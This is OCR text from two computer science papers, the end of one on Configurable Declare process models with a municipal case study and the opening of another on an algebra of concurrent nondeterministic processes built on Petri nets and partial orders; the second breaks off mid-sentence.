<td>( L^{B=\tau}(\text{precedence}(A,B) \land \text{precedence}(B,C)) )</td> <td>( L(\text{precedence}(A,C)) )</td> </tr> <tr> <td>( L^{B=\tau}(\text{precedence}(A,B) \land \text{succession}(B,C)) )</td> <td>( L(\text{precedence}(A,C)) )</td> </tr> <tr> <td>( L^{B=\tau}(\text{succession}(A,B) \land \text{response}(B,C)) )</td> <td>( L(\text{response}(A,C)) )</td> </tr> <tr> <td>( L^{B=\tau}(\text{succession}(A,B) \land \text{precedence}(B,C)) )</td> <td>( L(\text{precedence}(A,C)) )</td> </tr> <tr> <td>( L^{B=\tau}(\text{succession}(A,B) \land \text{succession}(B,C)) )</td> <td>( L(\text{succession}(A,C)) )</td> </tr> </tbody> </table> Table 3 presents an excerpt from the list of constraint combinations connecting events $A$, $B$ and $C$, and the corresponding implicit constraints that should be added when hiding $B$. In [16], the reader can find the full list of combinations of standard Declare constraints with the strongest implicit constraint (expressable in the standard Declare) corresponding to each combination. Several of these combinations do not allow for maintaining the language equivalence and the best we can do is to approximate the implicit constraint. Consider, for instance, the model in Fig. 7 consisting of two alternate response constraints. When $B$ is not hidden, the configured model accepts (among others) traces $ABCABC$ and $ABACBC$, which are abstracted to $ACAC$ and $AACC$ when hiding $B$ in the traces. Therefore, when $B$ is hidden, the configured model does not accept any trace in which more than two occurrences of $A$ happen without a $C$ in between. By removing $B$ from the model (i.e., by substituting $B$ by $\tau$), we would need to obtain a Declare model which accepts exactly such traces, but such a constraint is not expressible in Declare. The approach provided in [16] considers as implicit constraint the closest constraint that is stronger than the necessary (inexpressible) constraint, which is alternate response $(A,C)$ for the example considered (this constraint does not accept the trace $AACC$.) An alternative approach is to choose for the closest weaker constraint. This issue can be fully overcome by extending Declare with new constraints (in this case with a constraint that forces the occurrence of $C$ after two occurrences of $A$). When using only the standard Declare constraints, the user should be notified in case the language preservation is violated. Below we sketch the proof idea, supporting our method for hiding events. **Theorem 1.** Let $M = (E, C)$ and $M' = (E', C')$ be Declare models obtained by not hiding/hiding an event $e \in E$ in the Configurable Declare model $((E, C), \{e\}, \emptyset, \emptyset)$, respectively. Then, $L^{e-\tau}(M) = L(M')$, i.e., the language of model $M$ with event $e$ considered as invisible is the same as the language of model $M'$. **Proof.** (Idea) We can transform $M$ to an equivalent model $M''$ where the implicit constraints in which $e$ is involved are made explicit, maintaining the language equivalence between $M$ and $M''$. Considering that implicit constraints are deducible from the explicit constraints in the model, this implies that we do not constrain the behaviour any further. Afterwards, we transform $M''$ to $M'$ by removing event $e$ and all constraints associated with $e$. Showing that \[ \mathcal{L}^{e \mapsto \tau}(M'') = \mathcal{L}^{e \mapsto \tau}(M') \] is straightforward, using the equivalences as shown in Table 3. Therefore, we can conclude that model \( M \) is visible-language equivalent to the model \( M' \) (with \( e \) abstracted to \( \tau \)). When a hidden event is involved in omittable constraints, the situation becomes slightly more complicated. If an implicit constraint to be added to the model is derived using an omittable constraint, the implicit constraint should be added as an omittable constraint. Consider, for instance, the model in Fig. 8. The constraint between \( A \) and \( B \) can be omitted and \( B \) can be hidden. If we choose to hide \( B \), we have to make explicit the implicit constraints between \( A \) and \( C \) (\( c_1 \)) and between \( A \) and \( D \) (\( c_2 \)). However, since the constraint between \( A \) and \( B \) is omittable, we have to make the implicit constraints \( c_1 \) and \( c_2 \) also omittable. At the same time, we need to preserve correlations between implicit constraints. Consider, again, the model in Fig. 8. If the constraint between \( A \) and \( B \) is omitted, then both the implicit constraints \( c_1 \) and \( c_2 \) disappear. This introduces a correlation between the implicit constraints \( c_1 \) and \( c_2 \): they should be either both present or both omitted in the configured model. This can be encoded through meta-constraints as \( c_1 \Leftrightarrow c_2 \). Deducing which correlations have to be maintained between pairs of implicit constraints is straightforward. Consider, for instance, the models in Fig. 9, in which all implicit constraints have been made explicit. Constraint \( c_4 \) is deduced from \( c_1 \) and \( c_3 \), and \( c_5 \) is deduced from \( c_2 \) and \( c_3 \). In the model in Fig. 9(a), explicit constraints \( c_1 \) and \( c_2 \), and \( c_3 \) are all omittable. Starting from the omittable (explicit) constraints, we can build the deduction graph in Fig. 10(a). In this graph, if explicit constraints are used to deduce an implicit constraint, we include an hyperarc between the explicit constraints and the implicit constraint. \[ \text{(Fig. 8. Implicit constraints between } A \text{ and } C \text{ and between } A \text{ and } D \text{ are omittable)} \] \[ \text{(Fig. 9. Configurable Declare models with the implicit constraints } (c_4, c_5) \text{ made explicit)} \] For instance, $c_4$ is deduced from $c_1$ and $c_3$, hence, we include a hyperarc between $c_1$, $c_3$ and $c_4$. Using the hyperarcs, we can induce meta-constraints like $(c_1 \land c_3) \Leftrightarrow c_4$. Using the deduction graphs, we can easily induce correlations between implicit constraints. Consider the Configurable Declare model in Fig. 9(b) and the corresponding deduction graph in Fig. 10(b). From Fig. 10(b), we can induce the meta-constraints $c_3 \Leftrightarrow c_4$ and $c_3 \Leftrightarrow c_5$. By transitivity, we obtain the meta-constraint $c_4 \Leftrightarrow c_5$. Therefore, when hiding $C$, $c_4$ and $c_5$ must be both omitted or both not omitted. From the technical perspective, it would be easier to let the user first define which constraints should be omitted and then choose which events should be hidden. In this case, omittability of implicit constraints and correlations between them would be irrelevant. This would, however, require the user to make choices about constraints that are defined on events which are not relevant for her practice. ### 4.2 Configuring constraints In the second step, the user can decide which omittable constraints should be omitted in the configured model. It is also possible to include the option of substituting a constraint by a different constraint into Configurable Declare. However, this option can be considered as syntactic sugar. Indeed, substituting a (default) constraint with different constraints can be obtained by considering these constraints as omittable and providing a meta-constraint specifying that exactly one of this constraints can be kept in the configured model. In Fig. 11(a), for instance, we show a model in which the response\((A,B)\) can be substituted by either precedence\((A,B)\) or by alternate response\((A,B)\). This can also be encoded through omittable constraints as depicted in Fig. 11(b) with a meta-constraint enforcing that exactly one of the omittable constraints is kept in the configured model. This is encoded as \(c_1 \lor c_2 \lor c_3\), where \(\lor\) is the exclusive or. 5 Methodology and Case Study In this section, we present the deduction of a Declare model from a Configurable Declare model. As mentioned before, this is done through a two-step approach. First the context is set (Subsection 5.1), and then, some constraints are selected to be omitted in the configured model (Subsection 5.2). The methodology is presented by using an example from our case study. Further results about the case study are given in Section 5.3. 5.1 Setting the context The first step for configuring a Configurable Declare model consists in selecting which events should be controlled and which events are uncontrolled in the con- Algorithm 1: Setting the context for a Configurable Declare model SetTheContext\((M_{conf}, S_h, M_{conf}')\) Input: \(M_{conf}\) the Configurable Declare model, \(S_h \subseteq E_h\) the set of hidden events Output: \(M_{conf}'\) the Configurable Declare model after abstraction 1. if the meta-constraints \(MC\) are not satisfied 2. return 3. else 4. \(M_{temp} \leftarrow M_{conf}\) 5. \(T \leftarrow\) all implicit constraints (using the transitive closure based on the rules in [16]) 6. foreach event \(e \in M_{temp}\) 7. if \(e \in S_h\) 8. \(C \leftarrow\) all implicit constraints which have to be made explicit after hiding \(e\) using the defined rules (see [16]) 9. add all constraints from \(C\) to \(M_{temp}\) 10. add all meta-constraints related to the removal of \(e\) (based on \(T\)) to \(M_{temp}\) 11. Remove all events from \(M_{temp}\) which are hidden 12. Remove all constraints from \(M_{temp}\) which are related to hidden events 13. Update all meta-constraints in \(M_{temp}\) which are related to hidden events 14. return \(M_{temp}\) figured model. Using Algorithm 1, the Configurable Declare model is transformed into a (modified) Configurable Declare model. Here, the hideable events that are chosen to be hidden (denoted as set $S_h$) are removed from the model. It can be the case that hiding an event invalidates some meta-constraints, or even that the event to be hidden is not hideable. Therefore, we first check whether all meta-constraints are satisfied and whether all events in $S_h$ are hideable ($S_h \subseteq E_h$). If this is the case, the events in $S_h$ are removed from the Configurable Declare model, the implicit constraints are made explicit if needed, and meta-constraints are updated accordingly. Otherwise, the empty model is returned. Consider the Configurable Declare model in Fig. 12 (without any specified meta-constraint at the beginning). Suppose that the user chooses to hide events Assign to employee, Send to DMS department, and Indicate already paid. If we hide Send to DMS department, we need to add to the modified model ($M_{conf'}$) a succession constraint between Process payment and Assign to employee ($c_1$), and between Process payment and Indicate already paid ($c_2$). Furthermore, we have to include in $M_{conf'}$ a succession constraint between Fill in payment information and Assign to employee ($c_3$), and between Fill in payment information and Indicate already paid ($c_4$). Since the succession between Fill in payment information and Send to DMS department can be omitted, we have to maintain the correlation between $c_3$ and $c_4$, i.e., the meta-constraint $m_1 = c_3 \Leftrightarrow c_4$ is added to $M_{conf'}$. In the second iteration, we process Assign to employee. This introduces a succession between Process payment and Produce extract and sign ($c_5$) in $M_{conf'}$. Furthermore, the succession between Fill in payment information and Produce extract and sign it ($c_6$) has to be made explicit, and we have to include the meta-constraint $m_2 = c_4 \Leftrightarrow c_6$ in $M_{conf'}$. If we hide Indicate already paid, we need to add to $M_{conf'}$ the constraints succession(Process payment, Produce extract and sign it) and succession(Fill in payment information, Produce extract and sign it). Note that no new meta-constraints have to be included at this iteration. Finally, we have to remove the hidden events from the model, and remove the constraints and update the meta-constraints related to any of those events. This yields the Configurable Declare model depicted in Fig. 13 (with meta-constraints $m_1$ and $m_2$). 5.2 Configuring constraints The second step for configuring a Configurable Declare model consists of selecting which constraints have to be omitted in the configured model (we indicate this set of constraints with $S_o$). Omitting a constraint might invalidate some meta-constraints, or it can be the case that the constraint to be omitted is not omittable. Therefore, we first check whether all meta-constraints are satisfied and whether all constraints in $S_o$ are omittable ($S_o \subseteq C_o$). If this is the case, the constraints in $S_o$ are removed from the Configurable Declare model. Otherwise, the empty model is returned (Algorithm 2). Suppose that we start from the Configurable Declare model depicted in Fig. 13 (with meta-constraints $m_1$ and $m_2$). Suppose that the user chooses to remove the succession between Fill in payment information and Produce extract and sign it, and the precedence between Archive and Send excerpt. Since $m_1$ and $m_2$ are satisfied, succession and precedence can be removed from the model yielding the model depicted in Fig. 1, which belongs to municipality A. 5.3 Case Study For the case study, we have used models from the CoSeLoG project adopted by ten different Dutch municipalities. We have used the model for municipality A (depicted in Fig. 1) as running example to present our proposed approach. To \begin{algorithm} \textbf{Algorithm 2:} Removing omitted constraints from the Configurable Declare model \begin{enumerate} \item \textbf{Configurability}($((E,C), E_h, C_o, MC), S_o, M_{conf})$ \item \textbf{Input:} $((E,C), E_h, C_o, MC)$ the Configurable Declare model, $S_o \subseteq C_o$ the set of omitted constraints \item \textbf{Output:} $M_{decl}$ the Declare model after omitting the constraints \item (1) if the meta-constraints $MC$ are not satisfied \item (2) \textbf{return} \item (3) else \item (4) \textbf{return } $(E,C \setminus S_o)$ \end{enumerate} \end{algorithm} obtain the models depicted in Fig. 14 and in Fig. 15 for municipalities B and C, we use the configurations showed in Table 4 and in Table 5. 6 Conclusion In this paper, we defined Configurable Declare, a configurable declarative language. The configurability setting for declarative languages differs from the setting for procedural languages. Indeed, while adding configurability options for procedural languages implies that more options for allowed behaviour get included in the model, adding configurability options for declarative languages results in the inclusion of more options for restricting behaviour. Table 4. The context for municipalities B and C <table> <thead> <tr> <th>Event</th> <th>Mun. B</th> <th>Mun. C</th> </tr> </thead> <tbody> <tr> <td>Archive</td> <td>hidden</td> <td>not hidden</td> </tr> <tr> <td>Assign to employee</td> <td>not hidden</td> <td>hidden</td> </tr> <tr> <td>Indicate already paid</td> <td>hidden</td> <td>not hidden</td> </tr> <tr> <td>Process payment</td> <td>not hidden</td> <td>hidden</td> </tr> <tr> <td>Send to DMS department</td> <td>not hidden</td> <td>not hidden</td> </tr> </tbody> </table> Table 5. The configurability for municipalities B and C <table> <thead> <tr> <th>Constraint</th> <th>Mun. B</th> <th>Mun. C</th> </tr> </thead> <tbody> <tr> <td>precedence(Archive, Send Extract)</td> <td>omitted</td> <td>omitted</td> </tr> <tr> <td>succession(Fill in payment information, Send to DMS department)</td> <td>omitted</td> <td>omitted</td> </tr> </tbody> </table> We have defined an approach to transform a Configurable Declare model and a given configuration into a Declare model. While in the declarative setting removing a constraint turned out to be a trivial transformation, in the procedural setting removing a dependency between two events without influencing dependencies between other events is far from being trivial. On the other hand, hiding an event is easy to implement in the procedural setting, whereas it requires a dedicated mechanism to maintain implicit constraints in the declarative setting. We have applied our approach as a proof of concept to a case study and we have been able to capture processes of ten Dutch municipalities in one readable Configurable Declare model. This paper must be considered as a starting point for Configurable Declare and there are several research directions we want to investigate concerning this topic. Below we elaborate on some of them. **Outlook** Building a Configurable Declare model from scratch is a logical option when a completely new process needs to be designed. However, in many cases (like in our case study) organisations already have models of their processes available and the configurable model should be built based on some existing knowledge. To make it possible, we are working on an approach for automatic generation of a Configurable Declare model from a given set of Declare models in such a way that the original Declare models are derivable from the generated Configurable Declare model (by applying some configurations). A related question is how to derive automatically a configuration for a given Configurable Declare model resulting in a model that is similar to a given Declare model. When an organisation wants to start configuring a configurable model for some existing process for which no model is available, event logs can be used for deriving an appropriate configuration. Finally, we would like to introduce patterns for meta-constraints in order to ease the design process. In particular, we want to develop a method for the automated deduction of meta-constraints to forbid configurations that lead to unsatisfiable models (models with no behaviour), or to models in which some important events become not executable or some important constraints become trivially true [17]. **References**
{"Source-Url": "https://www.researchgate.net/profile/Fabrizio_Maggi/publication/235950043_Configurable_Declare_Designing_Customisable_Flexible_Process_Models/links/54340b6b0cf294006f734851.pdf", "len_cl100k_base": 9332, "olmocr-version": "0.1.50", "pdf-total-pages": 18, "total-fallback-pages": 0, "total-input-tokens": 49610, "total-output-tokens": 11033, "length": "2e13", "weborganizer": {"__label__adult": 0.0003561973571777344, "__label__art_design": 0.0007071495056152344, "__label__crime_law": 0.0004336833953857422, "__label__education_jobs": 0.00220489501953125, "__label__entertainment": 0.00011616945266723631, "__label__fashion_beauty": 0.0002290010452270508, "__label__finance_business": 0.001583099365234375, "__label__food_dining": 0.0004346370697021485, "__label__games": 0.00060272216796875, "__label__hardware": 0.0007076263427734375, "__label__health": 0.0006279945373535156, "__label__history": 0.0003650188446044922, "__label__home_hobbies": 0.00013530254364013672, "__label__industrial": 0.0007596015930175781, "__label__literature": 0.0005908012390136719, "__label__politics": 0.0004191398620605469, "__label__religion": 0.00040221214294433594, "__label__science_tech": 0.1361083984375, "__label__social_life": 0.00014770030975341797, "__label__software": 0.021209716796875, "__label__software_dev": 0.83056640625, "__label__sports_fitness": 0.00022852420806884768, "__label__transportation": 0.0007462501525878906, "__label__travel": 0.0001920461654663086}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 43321, 0.01642]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 43321, 0.21595]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 43321, 0.88293]], "google_gemma-3-12b-it_contains_pii": [[0, 2375, false], [2375, 3215, null], [3215, 6592, null], [6592, 9508, null], [9508, 12221, null], [12221, 14553, null], [14553, 17639, null], [17639, 19713, null], [19713, 22571, null], [22571, 25269, null], [25269, 27707, null], [27707, 29369, null], [29369, 31522, null], [31522, 34087, null], [34087, 36034, null], [36034, 37039, null], [37039, 39914, null], [39914, 43321, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2375, true], [2375, 3215, null], [3215, 6592, null], [6592, 9508, null], [9508, 12221, null], [12221, 14553, null], [14553, 17639, null], [17639, 19713, null], [19713, 22571, null], [22571, 25269, null], [25269, 27707, null], [27707, 29369, null], [29369, 31522, null], [31522, 34087, null], [34087, 36034, null], [36034, 37039, null], [37039, 39914, null], [39914, 43321, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 43321, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 43321, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 43321, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 43321, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 43321, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 43321, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 43321, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 43321, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 43321, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 43321, null]], "pdf_page_numbers": [[0, 2375, 1], [2375, 3215, 2], [3215, 6592, 3], [6592, 9508, 4], [9508, 12221, 5], [12221, 14553, 6], [14553, 17639, 7], [17639, 19713, 8], [19713, 22571, 9], [22571, 25269, 10], [25269, 27707, 11], [27707, 29369, 12], [29369, 31522, 13], [31522, 34087, 14], [34087, 36034, 15], [36034, 37039, 16], [37039, 39914, 17], [39914, 43321, 18]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 43321, 0.14224]]}
olmocr_science_pdfs
2024-11-26
2024-11-26
0c706903be7faae6172367f0cdcbb630ea5ca85b
An algebra of concurrent non-deterministic processes Ludmila A. Cherkasova and Vadim E. Kotov Institute of Informatics Systems, Siberian Division of the USSR Academy of Science, 630090, Novosibirsk, USSR Abstract This paper illustrates how early ideas and simple naive concepts of concurrency theory of the 1960s have now turned into complex and subtle problems of modern calculi of concurrent processes. An algebra of finite processes AFP is discussed as an example of research which incorporates various aspects of typical process calculi: axiomatization of the proposed algebra, adequate description of “true concurrency” semantics for processes, compositionality and full abstractness in the algebra, handling exceptional situations, etc. Introduction In 1963, the second author of this paper and his colleagues came to Andrei Petrovich Ershov, at that time the Head of the Programming Laboratory of the Computing Center in Akademgorodok, asking whether he would be interested in hiring ambitious young people who wanted to start research in the theory of computational parallelism and its application to programming. At that time, the general presentiment of a new technological leap, caused by the fast progress in microelectronics, raised the first wave of discussions and conceptual papers about future parallel computers and parallel programming. These first concepts were mostly based on straightforward, “naive” ideas and on verisimilar reasoning about concurrency which, as we now know, has turned out to be a very exciting and complex area of research. We explained to A.P. Ershov that we want to develop a General Theory of Parallel Systems and Processes and to start with a quite general model of computation, namely with Asynchronous Parallel Processes over Shared Memory. (In this model [11], a parallel program was just a set of statements preceded by guards which we called trigger-functions at that time. Any statement can be initiated any time when its guard’s value is proved to be true and terminates any time it wants to terminate. Applying different disciplines of guard checking, different particular models of parallel computation can be formed.) It looked like A.P. (as we used to call him) was a little bit skeptical about the whole idea at the very beginning. But he was a person very easily carried away by new concepts and had a gift of finding proper ways of implementing some very general and vague ideas into concrete deeds. He proposed particular problems to be solved: to elaborate a formal notion of the (asynchronous) parallel program scheme and to study transformation of sequential program schemes into parallel ones (he proposed to refer to this transformation as desequention). That research has shown that automatic desequention is a doubtful perspective because of the complexity of the analysis of control and data dependencies between statements and procedures in programs. As a result we started to think about an experimental parallel programming language that would be useful for the specification of various forms of "natural" parallelism incorporated in users' tasks and could be efficiently implemented for parallel computers of different architectures. Such a language (we called it BPL, *Basic Parallel Language* [9]) should have a special control sublanguage allowing us to describe the diversity of control structures in parallel programs. The control sublanguage contains control operations, functions and expressions. To have the possibility of describing the semantics of the control sublanguage, *Structured Net Algebra* (SNA) based on *Petri nets* was introduced [8]. (A Petri net is a net (graph) with two disjoint sets of vertices: *transitions* which model events in concurrent systems and *places* which serve to model distributed states of the systems. An arc in a net can connect only a place with a transition (the place is an *input place* of the transition) or a transition with a place (called its *output place*). A transition can fire (modelling some local activity of a distributed system) if each of its input place has at least one token. When firing, the transition takes a token from each input place and adds a token to each output place. For formal definitions of nets and related notions see, for example, [6, 15, 17].) The expressions of SNA defining "well-structured" Petri nets are composed using net operations such as net concatenation, exclusion, parallel composition, net iteration and marking [8]. SNA is an algebra for modelling primarily structural properties of abstract distributed concurrent systems and it has proved to be a convenient specification tool because nets, underlying SNA, have reasonably good descriptive abilities (particularly, the nets extended by mechanisms to describe hierarchy and refinement [3]). However, although providing a good insight into the structural properties of concurrent systems, SNA does not contain sufficient support for the derivation of their behavioural properties. Hence, to study subtle interrelations between structural and behavioural properties of asynchronous systems, we have become involved in the study of algebraic modelling of concurrent processes which has become an increasingly vigorous research area during the last decade. The most popular and fully developed theories are now *Net Theory* originating in the work of C.A. Petri, *Calculus of Communicating Systems* (CCS) proposed by R. Milner [12] and *Theory of Communicating Sequential Processes* (TCSP) initiated by C.A.R. Hoare [1]. Each of these theories describes a *process* as a set of *actions* with the introduction of relations such as sequentiality, concurrency or nondeterminism. For the cases of "pure sequential" nondeterministic processes (the relation of concurrency is absent) or "pure concurrent" processes (which do not involve the alternative or nondeterminism between actions), there are at least two well known models, such as finite automata and partially ordered sets, that are widely used for representation of these particular types of processes. However, models for processes based on all three relations are far from clear. In particular, the problem of adequate expressing of deep relationships between concurrency and nondeterminism is still open. We briefly recall the different approaches to expressing concurrency and nondeterminism in different models. Depending on the representation of concurrency, the models can be divided into the following three groups. (1) The concurrent execution of two processes is simulated by nondeterministic interleaving of their atomic actions (i.e. concurrency is simulated by sequential nondeterminism). Therefore, the concurrent execution of two atomic actions \( a \) and \( b \) could be defined by the following axiom: \[ \| a \parallel b = ab \text{ or } ba, \] where \( \| \) denotes concurrent execution of \( a \) and \( b \), \( ab \) means that \( a \) precedes \( b \), \( ba \) means that \( b \) precedes \( a \). However, if we consider a system with two mutually exclusive actions \( a \) and \( b \) (let us denote this situation by \( a \text{ mutex } b \)), then the behaviour of such a system can be specified by the same axiom: \[ a \text{ mutex } b = ab \text{ or } ba. \] Thus, the processes \( (a \parallel b) \) and \( (a \text{ mutex } b) \) are indistinguishable in the models based on interleaving semantics. If the behaviour of concurrent systems and processes is characterized by sequences of totally ordered actions, then the concurrency operator (or relation) is not primitive: \[ \text{concurrency} = \text{sequentiality} + \text{nondeterminism}. \] (2) The concurrent execution of two processes is simulated by interleaving of multisets of their atomic actions. For example, the concurrent execution of two atomic actions \( a \) and \( b \) could be defined by the following axiom: \[ \| a \parallel b = ab \text{ or } ba \text{ or } a|b, \] i.e. \( a \) precedes \( b \), or \( b \) precedes \( a \), or \( a \) and \( b \) occur at the same time (the last situation is denoted as \text{co-occurrence } a|b\). Hence, the concurrency operator (or relation) is also not primitive in these models: \[ \text{concurrency} = \text{sequentiality} + \text{nondeterminism} + \text{co-occurrence}. \] (3) The third group of concurrent models is based on the concept of the process behaviour as a partially ordered set of actions. Such models as Pomsets (partially ordered multisets) [16], Causal (Occurrence) Nets [13, 14], Event Structures [13], A-nets [10] are intended to describe true concurrency. The precedence relation on actions is defined as the causal dependence of actions in these models. This relation induces some partial order on actions. Accordingly, two actions are concurrent if they are casually independent. Thus, a concurrent process, the elements of which are partially ordered by the precedence relation, can be explicitly represented by a partially ordered set (poset) (see [7, 14, 16]). The behaviour of a concurrent nondeterministic system is described by a set of its "pure concurrent" processes. Each process in such a set is a result of a nondeterministic choice among conflicting actions during a run of the system. However, often it is necessary and preferable to deal with conflicts on a semantical level and to express the behaviour of a system with conflicts as some unique integral semantic object. For this reason, Event Structures, Occurrence Nets and A-nets generalize processes by augmenting posets with the conflict [13] or alternative relation [10]. Two actions \( a \) and \( b \) are alternative if the occurrence of \( a \) excludes the occurrence of \( b \), and vice versa. The known models of processes can be parted into different groups depending also on the way they represent nondeterminism. For example, the semantic models for CCS and TCSP have a common feature in the representation of concurrency as interleaving of actions, but the semantic representation of nondeterminism is different in these calculi. 1. Nondeterminism is a basic relation in action trees for CCS. The arcs (labelled by action symbols) issued from a node offer to perform their actions, as alternatives and, in such a way, nondeterminism is explicitly represented on the semantic level of CCS. 2. In TCSP, every process is characterized by a so-called refusal set. Each refusal set consists of a set of failures. A failure is a pair \((\sigma, V)\), where \(\sigma\) is a finite sequence of actions in which the process may have been engaged up to a certain moment and \(V\) is a set of actions which the process is able to reject on the next step. In other words, a process is defined as a set of possible execution sequences each of which is augmented by some "negative" information. Thus, nondeterminism is not a basic relation on the semantic level of TCSP. However, the "negative" part added to each execution sequence of the process on the semantic level gives necessary information about nondeterminism specified by initial algebraic process formula. This model can be considered as an interesting and remarkable example, illustrating how nondeterminism (alternative) can be represented and investigated without introducing it explicitly on the semantic level. If we introduce two axes for representing concurrency and nondeterminism, then different models of processes can be placed as shown in Fig. 1 according to increasing expressiveness of these relations. The rest of the paper discusses the algebra AFP\(_1\) with a semantical model based on posets with non-actions. As one can see in Fig. 1, there is no shortage of denotational models for concurrent nondeterministic processes. In the face of such an abundance, it is better to present some motivation for introducing new such models. It should be noted that the notion of a process is used in two senses: (i) as a specification of a "dynamic" object by means of some formalism, and (ii) as a behaviour (or semantics) of a specified dynamic object. These two meanings are different in some theories. Their identity is highly desirable in the elaboration of practical tools for the verification and syntheses of systems. Algebras proposed mostly for process specification could be referred to as “descriptive” algebras. In descriptive algebras, a process specification provides a good insight into the structural properties of designed concurrent systems. “Analytical” algebras contain sufficient support for the validation of the behavioural properties. It is desirable to elaborate a process algebra which is both descriptive and analytical. The first and the main goal of introducing AFP, is to bridge the gap between the descriptive and analytical theories of concurrent processes. The second and more partial goal consists of the following. It is striking that most of the interleaving models are supported by a variety of algebraic results in the form of, for example, full abstractness with respect to some notion of operational behaviour or equational proof systems; this is in contrast to noninterleaving models for which you will find very few such algebraic results. In this paper, we would like to present some full abstractness and completeness results for AFP,. 1. Algebra AFP, of finite (nondeterministic concurrent) processes Let \( \mathcal{A} = \{a, b, c, \ldots \} \) be a finite alphabet of action symbols (the action basis of a process). Elementary actions can be combined into a composite process in AFP, using the operations of precedence “;”, exclusive or (or alternative) “\( \lor \)” and concurrency “\( \| \)”. Intuitively, the process \((a; b)\) performs, at first, the action \(a\) and only after that it performs the action \(b\). The process \((a \lor b)\) consists of two possible behaviours: if it chooses the action \(a\) then the action \(b\) does not occur, and vice versa. The formula \((a \| b)\) specifies the process in which the actions \(a\) and \(b\) occur concurrently. We suppose that each action has its own unique name. Thus, if we have a process $P$ consisting of different subprocesses $P_1$ and $P_2$ such that an action symbol $c$ occurs in both $P_1$ and $P_2$, then the performance $c$ in $P$ should be synchronized by the performances of $c$ in $P_1$ and in $P_2$ simultaneously, i.e. the process $P$ can perform the action $c$ if and only if both subprocesses $P_1$ and $P_2$ are ready to perform the action $c$. For example, the process formula $(a;c)\parallel(b;c)$ specifies the process in which the actions $a$ and $b$ are performed concurrently and only after that (i.e. after both actions $a$ and $b$ have been executed) can the action $c$ be performed. Thus, if some action in one process needs an action in another process for an actual synchronized execution (it is a typical situation for communicating processes) then this situation can be easily specified in AFP, just by using the same symbol for both actions. Such an approach allows us not to restrict the number of communicating processes (unlike, for example, CCS). Since we intend to construct the algebra which combines the mechanism to specify both processes and their properties, the process specification (process formula) is twofold: on the one hand, it specifies possible process behaviours; on the other hand, it can be considered as defining a set of properties the process enjoys. The semantics of a process described by a formula of AFP, is defined as a set of partial orders (see next section). However, as has been mentioned earlier, such a semantic representation of concurrent nondeterministic processes involves only two basic relations between process elements: precedence and concurrency. The information about an alternative relation between elements of the initial processes is lost. To represent (implicitly) the alternative relation on the semantic level, we introduce some "negative" information about those potential process actions which have not been chosen to be performed during the process functioning (the idea, in some sense, is similar to failure semantics for TCSP). Thus, we introduce the dual to the $\mathcal{A}$ alphabet of the "negated" symbols $\mathcal{A}^\perp = \{\bar{a}, \bar{b}, \bar{c}, \ldots\}$ for denoting "non-actions", i.e. the symbols which point to the fact that the correspondent actions do not occur in this run, because they were not chosen among alternative actions. We are going to define the alternative operation $\nabla$ in a "very structural" way. The semantics of a process described by an AFP, formula will be defined as a set of partial orders. Thus, a process described by the formula $(a\nabla b)$ will be characterized by two partial orders: the first one defines the process behaviour if the action $a$ is chosen to be performed and the second one defines the process behaviour if the action $b$ is chosen. We would like to have more complete information about nondeterminism in a process structure at the semantic level of the partial order representation. We add some "negative" information to our consideration and reasoning about processes. In particular, we would like to know which actions have not been chosen during the concrete process behaviour. To denote the fact that an action $a$ does not occur in some process run (because some alternative action has been performed), we introduce the negated symbol $\bar{a}$ and call it a non-action. So, the process $(a\nabla b)$ is characterized by the following behaviours: in the first behaviour, the action $a$ occurs An algebra of concurrent nondeterministic processes and the non-action \( \overline{b} \) appears; in the second one, the action \( b \) occurs and, additionally, the non-action \( \overline{a} \) appears. Thus, each partial order representing one of the possible process behaviours has an "observable" (positive) part and an "unobservable" (negative) one. The "positive" part consists of the process actions which have been performed during this process run. The "negative" part consists of the non-actions which have not been executed (have not been chosen) during this process functioning. However, there exists another reason why some actions could not be performed during some process functioning. Let us consider a process defined by the following formula \[ A = (a \parallel b) \parallel (a \mathbin{\nabla} b). \] This process specification consists of two subformulas \( B = (a \parallel b) \) and \( C = (a \mathbin{\nabla} b) \). The subformula \( B = (a \parallel b) \) specifies a process in which both actions \( a \) and \( b \) should be performed and performed concurrently. The subformula \( C = (a \mathbin{\nabla} b) \) defines two possible methods of process functioning: 1. \( a \) occurs and \( b \) does not occur (i.e., the non-action \( \overline{b} \) takes place), or 2. \( b \) occurs and \( a \) does not occur (i.e., non-action \( \overline{a} \) takes place). If we try to define a process specified by the formula \( A \) as a common behaviour of processes specified by \( B \) and \( C \), then we discover that there exists no common possible behaviour because each combination of requirements of \( B \) and \( C \) is contradictory. It is required in \( B \) that both actions \( a \) and \( b \) should occur but, on the other hand, \( C \) requires that \( b \) cannot occur if the alternative action \( a \) is chosen to be performed. A similar situation occurs concerning the action \( a \). In such situations we will say that the action \( b \) (or, correspondingly, the action \( a \)) is deadlocked. To denote the deadlocked actions, we introduce the special alphabet \( \Delta_\alpha = \{ \delta_a, \delta_b, \delta_c, \ldots \} \). In addition to the operations \( \mathbin{;} \) (precedence), \( \mathbin{\nabla} \) (alternative) and \( \mathbin{\parallel} \) (concurrency), we introduce three more operations: \( \mathbin{\lor} \) (disjunction or union), \( \mathbin{\neg} \) (not occur) and \( \mathbin{\ddagger} \) (mistaken not occur). Intuitively, the formula \( (A \lor B) \) defines a process in which either the subprocess defined by \( A \) or the 